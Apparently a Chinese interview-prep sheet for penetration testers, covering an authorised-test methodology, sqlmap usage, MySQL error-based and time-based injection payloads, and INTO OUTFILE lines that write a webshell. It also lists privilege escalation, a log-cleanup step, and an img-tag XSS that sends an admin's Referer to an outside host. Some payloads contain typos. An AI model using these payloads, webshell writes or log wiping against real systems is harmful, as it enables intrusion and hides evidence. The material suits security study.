1,做一下簡單的自我介紹,經(jīng)歷,工作經(jīng)驗(yàn),愛好,自己總結(jié)。
面試題:
一,給你一個(gè)網(wǎng)站你是如何來滲透測試的?
在獲取書面授權(quán)的前提下。
1)信息收集,
1,獲取域名的whois信息,獲取注冊者郵箱姓名電話等。
2,查詢服務(wù)器旁站以及子域名站點(diǎn),因?yàn)橹髡疽话惚容^難,所以先看看旁站有沒有通用性的cms或者其他漏洞。
3,查看服務(wù)器操作系統(tǒng)版本,web中間件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
4,查看IP,進(jìn)行IP地址端口掃描,對響應(yīng)的端口進(jìn)行漏洞探測,比如 rsync,心臟出血,mysql,ftp,ssh弱口令等。
5,掃描網(wǎng)站目錄結(jié)構(gòu),看看是否可以遍歷目錄,或者敏感文件泄漏,比如php探針
6,google hack 進(jìn)一步探測網(wǎng)站的信息,后臺,敏感文件
2)漏洞掃描
開始檢測漏洞,如XSS,XSRF,sql注入,代碼執(zhí)行,命令執(zhí)行,越權(quán)訪問,目錄讀取,任意文件讀取,下載,文件包含,
遠(yuǎn)程命令執(zhí)行,弱口令,上傳,編輯器漏洞,暴力破解等
3)漏洞利用
利用以上的方式拿到webshell,或者其他權(quán)限
4)權(quán)限提升
提權(quán)服務(wù)器,比如windows下mysql的udf提權(quán),serv-u提權(quán),windows低版本的漏洞,如iis6,pr,巴西烤肉,
linux藏牛漏洞,linux內(nèi)核版本漏洞提權(quán),linux下的mysql system提權(quán)以及oracle低權(quán)限提權(quán)
5) 日志清理
6)總結(jié)報(bào)告及修復(fù)方案
一,sqlmap,怎么對一個(gè)注入點(diǎn)注入?
1)如果是get型號,直接,sqlmap -u "諸如點(diǎn)網(wǎng)址".
2) 如果是post型諸如點(diǎn),可以sqlmap -u "注入點(diǎn)網(wǎng)址” --data="post的參數(shù)"
3)如果是cookie,X-Forwarded-For等,可以訪問的時(shí)候,用burpsuite抓包,注入處用*號替換,放到文件里,然后sqlmap -r "文件地址"
二,nmap,掃描的幾種方式
三,sql注入的幾種類型?
1)報(bào)錯(cuò)注入
2)bool型注入
3)延時(shí)注入
4)寬字節(jié)注入
四,報(bào)錯(cuò)注入的函數(shù)有哪些? 10個(gè)
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
2)通過floor報(bào)錯(cuò) 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5).multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6).polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7).multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8).linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9).multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10).exp()select * from test where id=1 and exp(~(select * from(select user())a));
五,延時(shí)注入如何來判斷?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
六,盲注和延時(shí)注入的共同點(diǎn)?
都是一個(gè)字符一個(gè)字符的判斷
七,如何拿一個(gè)網(wǎng)站的webshell?
上傳,后臺編輯模板,sql注入寫文件,命令執(zhí)行,代碼執(zhí)行,
一些已經(jīng)爆出的cms漏洞,比如dedecms后臺可以直接建立腳本文件,wordpress上傳插件包含腳本文件zip壓縮包等
八,sql注入寫文件都有哪些函數(shù)?
select '一句話' into outfile '路徑'
select '一句話' into dumpfile '路徑'
select '' into dumpfile? 'd:\\wwwroot\baidu.com\nvhack.php';
九,如何防止CSRF?
1,驗(yàn)證referer
2,驗(yàn)證token
詳細(xì):http://cnodejs.org/topic/5533dd6e9138f09b629674fd
十,owasp 漏洞都有哪些?
1、SQL注入防護(hù)方法:
2、失效的身份認(rèn)證和會話管理
3、跨站腳本攻擊XSS
4、直接引用不安全的對象
5、安全配置錯(cuò)誤
6、敏感信息泄露
7、缺少功能級的訪問控制
8、跨站請求偽造CSRF
9、使用含有已知漏洞的組件
10、未驗(yàn)證的重定向和轉(zhuǎn)發(fā)
十一:SQL注入防護(hù)方法?
1、使用安全的API
2、對輸入的特殊字符進(jìn)行Escape轉(zhuǎn)義處理
3、使用白名單來規(guī)范化輸入驗(yàn)證方法
4、對客戶端輸入進(jìn)行控制,不允許輸入SQL注入相關(guān)的特殊字符
5、服務(wù)器端在提交數(shù)據(jù)庫進(jìn)行SQL查詢之前,對特殊字符進(jìn)行過濾、轉(zhuǎn)義、替換、刪除。
十二,代碼執(zhí)行,文件讀取,命令執(zhí)行的函數(shù)都有哪些?
1,代碼執(zhí)行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2,文件讀?。篺ile_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令執(zhí)行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
十三,img標(biāo)簽除了onerror屬性外,還有其他獲取管理員路徑的辦法嗎?
src指定一個(gè)遠(yuǎn)程的腳本文件,獲取referer
十四,img標(biāo)簽除了onerror屬性外,并且src屬性的后綴名,必須以.jpg結(jié)尾,怎么獲取管理員路徑。
1,遠(yuǎn)程服務(wù)器修改apache配置文件,配置.jpg文件以php方式來解析
AddType application/x-httpd-php .jpg
<img src=http://xss.tv/12.jpg>會以php方式來解析